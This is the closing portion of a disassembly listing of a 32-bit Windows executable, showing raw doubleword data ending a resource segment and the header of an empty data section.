		dd 4CEA0DC9h, 0C54AC6EEh, 6CE3CE02h, 90C7FE75h,	0CC36242Dh
		dd 0DC5B6E4Eh, 0E77C599Ch, 0F88691C1h, 156FC4D0h, 0F3B29DFh
		dd 6030770Ah, 0A3E75E29h, 0DB2D711Dh, 77B4D88Eh, 1C538B0Fh
		dd 2C5A43EBh, 6228D2C9h, 0B617A886h, 0DC5B2C45h, 174BA600h
		dd 7FD1B1F4h, 0D24E9273h, 4DF0A1F1h, 60970E19h,	9ABF229h
		dd 9BAC1C0Eh, 0A555B7FAh, 6D265E55h, 148B7226h,	38940D5Ch
		dd 8793CA01h, 0EDEAD6E4h, 0A49BDBE3h, 0C82DBDE6h, 2A965A91h
		dd 41C4F595h, 346B62EDh, 0E40FC6FDh, 9B8B3C24h,	0EA8ACD0Eh
		dd 0FD4DAFF0h, 0EB7E564Dh, 971B353Ah, 0ADEEAE8Bh, 54CBCB4Bh
		dd 8BB73006h, 0A4898340h, 4307F066h, 6F1BFA28h,	4858D032h
		dd 847B2D1h, 1288BEF5h,	37AC8B21h, 6F3C900Dh, 8BF36A95h
		dd 20033F0Ah, 43B72A9h,	2B596ADDh, 0C93577Eh, 5FA79415h
		dd 0D4D713BEh, 0BAEF265Dh, 321F3F81h, 0F1B4A5E7h, 245B529Dh
		dd 957FBAEDh, 3C105413h, 0FFC7BE09h, 74F733DEh,	0D8CF467Dh
		dd 862ADFA1h, 7A1590C8h, 0B31968E7h, 6725DF64h,	8E193C1Fh
		dd 0E3D20087h, 0B682A627h, 202DF5C1h, 351D3740h, 3777AEA5h
		dd 5BA24A8Dh, 0DA4CD518h, 43E35A4Ah, 903482EAh,	9AB8B199h
		dd 1F4F46A6h, 7CA0D676h, 0AA1C5B05h, 9BB3202h, 68F8F8E2h
		dd 76D10B71h, 3ED45D95h, 0CB4BC2D2h, 783CFE72h,	0A403901h
		dd 0A7B7AE2Eh, 0E4A8DEBEh, 0FE8CC36Dh, 83239A89h, 0D080500Ah
		dd 0C1AE58D9h, 584F9B71h, 95FD8FA0h, 63D70E85h,	0C4FB3211h
		dd 0E905138Dh, 0DFFC9732h, 20BF9E95h, 0D4088304h, 0F5AF2632h
		dd 0E4524D81h, 1FA5EB0h, 2408D20Eh, 0F85439ADh,	396374D1h
		dd 3408A4E1h, 257FDE3Dh, 0B06FF9F2h, 93D61925h,	6BF53DAh
		dd 6CBE0140h, 6FB2F51Bh, 31A69892h, 82D3349Dh, 94CB27D1h
		dd 1597465Dh, 0A976B9FCh, 0DCF3F9AEh, 6AA80F99h, 0C37FF615h
		dd 0EDBDD261h, 83C504FBh, 0B4C3D87Eh, 530F657Dh, 2E33C465h
		dd 0C8E44DF5h, 0C77BF2BEh, 6E20DE51h, 40A6E90Dh, 6E6621EAh
		dd 8F221A7Dh, 0FFD70548h, 0FDB6F93Ch, 40232624h, 15B2D209h
		dd 88BF25D5h, 0ACF3B251h, 0F0453E75h, 0F43BEA99h, 1B7786BDh
		dd 0FE73AAE1h, 0AC1CCE29h, 0AA70EE0Dh, 6CDF6ECCh, 0CC1BDA8Ah
		dd 6B275E95h, 695BA6EDh, 0CDF0A054h, 5C53FE10h,	0A7D4E77Dh
		dd 0A019B364h, 0CAFE3C6Dh, 171E5B96h, 7DAC07F4h, 58A24981h
		dd 6C9A5623h, 0E8A56207h, 503CC32Bh, 6C48825Bh,	784A8A67h
		dd 518A9673h, 7629E5Bh,	2FEC9A67h, 4CFEA3F4h, 0C386C2BFh
		dd 0BD7922D9h, 0EB294F0Ah, 2F2C22E6h, 0C86D7315h, 5497200h
		dd 904E0AB2h, 273C01D3h, 7B689A2Fh, 3F91A076h, 0B3805241h
		dd 8F8CF354h, 0D894CA90h, 5915C362h, 0F325EB42h, 5F28E883h
		dd 804694B4h, 7835CF52h, 0A1E60FC9h, 9F4EB1DBh,	3D69B2E2h
		dd 0A15A955Dh, 7419F34Ah, 0B53D481Eh, 1F34D5A2h, 0AFh
		dd 254Fh dup(0)
_rsrc		ends

; Section 4. (virtual address 00015000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00014400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 1015000h
		align 2000h
_idata2		ends


		end start